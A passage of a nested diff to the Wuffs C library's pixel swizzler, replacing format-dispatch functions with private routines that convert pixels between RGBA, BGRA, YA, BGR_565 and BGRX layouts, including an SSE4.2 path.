NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_premul__src_over; +- } +- return NULL; +- } +- return NULL; +-} ++ // TODO: unroll. + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__bgrx(wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__pixel_swizzler__bgr_565__bgrx; ++ while (n >= 1) { ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- return wuffs_base__pixel_swizzler__xxx__xxxx; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- return wuffs_base__pixel_swizzler__bgrw__bgrx; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- return wuffs_base__pixel_swizzler__bgrw_4x16le__bgrx; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- return wuffs_base__pixel_swizzler__copy_4_4; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__pixel_swizzler__bgr__rgbx; ++ while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- return wuffs_base__pixel_swizzler__bgrw__rgbx; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; +-} + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__rgb(wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__pixel_swizzler__bgr_565__rgb; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- return wuffs_base__pixel_swizzler__swap_rgb_bgr; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__bgrw__rgb__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__bgrw__rgb; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul_4x16le__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- return wuffs_base__pixel_swizzler__bgrw_4x16le__rgb; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__pixel_swizzler__copy_3_3; ++ while (n >= 1) { ++ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( ++ s0))); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- return wuffs_base__pixel_swizzler__bgrw__bgr; ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; +-} +- +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__rgba_nonpremul( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr_565__rgba_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr_565__rgba_nonpremul__src_over; +- } +- return NULL; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src_over; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_nonpremul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul_4x16le__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_nonpremul__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); ++ uint64_t s0 = wuffs_private_impl__swap_u64_argb_abgr( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u64__as__color_u32( ++ wuffs_private_impl__composite_premul_nonpremul_u64_axxx(d0, s0))); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- // TODO. +- break; ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src_over; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_4_4; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__rgba_premul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_premul_premul_u32_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- // TODO. +- break; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; ++ ++ return len; + } + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__rgba_premul( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr_565__rgba_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr_565__rgba_premul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__ya_nonpremul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__rgba_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__rgba_premul__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_premul__src_over; +- } +- return NULL; ++ s += 1 * 2; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_premul__src_over; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__bgra_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__bgra_premul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__ya_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_4_4; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); ++ ++ s += 1 * 2; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; ++ ++ return len; + } + + // -------- + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status // +-wuffs_base__pixel_swizzler__prepare(wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__pixel_format src_pixfmt, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- if (!p) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- p->private_impl.func = NULL; +- p->private_impl.transparent_black_func = NULL; +- p->private_impl.dst_pixfmt_bytes_per_pixel = 0; +- p->private_impl.src_pixfmt_bytes_per_pixel = 0; ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__bgr(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- wuffs_base__pixel_swizzler__func func = NULL; +- wuffs_base__pixel_swizzler__transparent_black_func transparent_black_func = +- NULL; ++ // TODO: unroll. + +- uint32_t dst_pixfmt_bits_per_pixel = +- wuffs_base__pixel_format__bits_per_pixel(&dst_pixfmt); +- if ((dst_pixfmt_bits_per_pixel == 0) || +- ((dst_pixfmt_bits_per_pixel & 7) != 0)) { +- return wuffs_base__make_status( +- wuffs_base__error__unsupported_pixel_swizzler_option); +- } ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ 0xFF000000 | wuffs_base__peek_u24le__no_bounds_check(s + (0 * 3))); + +- uint32_t src_pixfmt_bits_per_pixel = +- wuffs_base__pixel_format__bits_per_pixel(&src_pixfmt); +- if ((src_pixfmt_bits_per_pixel == 0) || +- ((src_pixfmt_bits_per_pixel & 7) != 0)) { +- return wuffs_base__make_status( +- wuffs_base__error__unsupported_pixel_swizzler_option); ++ s += 1 * 3; ++ d += 1 * 4; ++ n -= 1; + } + +- // TODO: support many more formats. +- +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- transparent_black_func = +- wuffs_base__pixel_swizzler__transparent_black_src; +- break; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- transparent_black_func = +- wuffs_base__pixel_swizzler__transparent_black_src_over; +- break; +- } ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__bgr_565(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- switch (src_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__Y: +- func = wuffs_base__pixel_swizzler__prepare__y(p, dst_pixfmt, dst_palette, +- src_palette, blend); +- break; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: +- func = wuffs_base__pixel_swizzler__prepare__y_16be( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2)))); + +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: +- func = wuffs_base__pixel_swizzler__prepare__indexed__bgra_nonpremul( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ s += 1 * 2; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: +- func = wuffs_base__pixel_swizzler__prepare__indexed__bgra_binary( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- func = wuffs_base__pixel_swizzler__prepare__bgr_565( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__bgrx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- func = wuffs_base__pixel_swizzler__prepare__bgr( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- func = wuffs_base__pixel_swizzler__prepare__bgra_nonpremul( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ 0xFF000000 | wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- func = wuffs_base__pixel_swizzler__prepare__bgra_nonpremul_4x16le( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- func = wuffs_base__pixel_swizzler__prepare__bgra_premul( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- func = wuffs_base__pixel_swizzler__prepare__bgrx( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__bgr__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- func = wuffs_base__pixel_swizzler__prepare__rgb( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ __m128i shuffle = _mm_set_epi8(+0x00, +0x0B, +0x0A, +0x09, // ++ +0x00, +0x08, +0x07, +0x06, // ++ +0x00, +0x05, +0x04, +0x03, // ++ +0x00, +0x02, +0x01, +0x00); ++ __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- func = wuffs_base__pixel_swizzler__prepare__rgba_nonpremul( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ while (n >= 6) { ++ __m128i x; ++ x = _mm_lddqu_si128((const __m128i*)(const void*)s); ++ x = _mm_shuffle_epi8(x, shuffle); ++ x = _mm_or_si128(x, or_ff); ++ _mm_storeu_si128((__m128i*)(void*)d, x); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- func = wuffs_base__pixel_swizzler__prepare__rgba_premul( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ s += 4 * 3; ++ d += 4 * 4; ++ n -= 4; + } + +- p->private_impl.func = func; +- p->private_impl.transparent_black_func = transparent_black_func; +- p->private_impl.dst_pixfmt_bytes_per_pixel = dst_pixfmt_bits_per_pixel / 8; +- p->private_impl.src_pixfmt_bytes_per_pixel = src_pixfmt_bits_per_pixel / 8; +- return wuffs_base__make_status( +- func ? NULL : wuffs_base__error__unsupported_pixel_swizzler_option); +-} ++ while (n >= 1) { ++ uint8_t b0 = s[0]; ++ uint8_t b1 = s[1]; ++ uint8_t b2 = s[2]; ++ d[0] = b0; ++ d[1] = b1; ++ d[2] = b2; ++ d[3] = 0xFF; + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( +- const wuffs_base__pixel_swizzler* p, +- uint32_t up_to_num_pixels, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- const uint8_t** ptr_iop_r, +- const uint8_t* io2_r) { +- if (p && p->private_impl.func) { +- const uint8_t* iop_r = *ptr_iop_r; +- uint64_t src_len = wuffs_base__u64__min( +- ((uint64_t)up_to_num_pixels) * +- ((uint64_t)p->private_impl.src_pixfmt_bytes_per_pixel), +- ((uint64_t)(io2_r - iop_r))); +- uint64_t n = +- (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, +- dst_palette.len, iop_r, (size_t)src_len); +- *ptr_iop_r += n * p->private_impl.src_pixfmt_bytes_per_pixel; +- return n; ++ s += 1 * 3; ++ d += 1 * 4; ++ n -= 1; + } +- return 0; +-} + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- const uint8_t** ptr_iop_r, +- const uint8_t* io2_r) { +- if (p && p->private_impl.func) { +- const uint8_t* iop_r = *ptr_iop_r; +- uint64_t src_len = ((uint64_t)(io2_r - iop_r)); +- uint64_t n = +- (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, +- dst_palette.len, iop_r, (size_t)src_len); +- *ptr_iop_r += n * p->private_impl.src_pixfmt_bytes_per_pixel; +- return n; +- } +- return 0; ++ return len; + } + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src) { +- if (p && p->private_impl.func) { +- return (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, +- dst_palette.len, src.ptr, src.len); +- } +- return 0; +-} ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") ++static uint64_t // 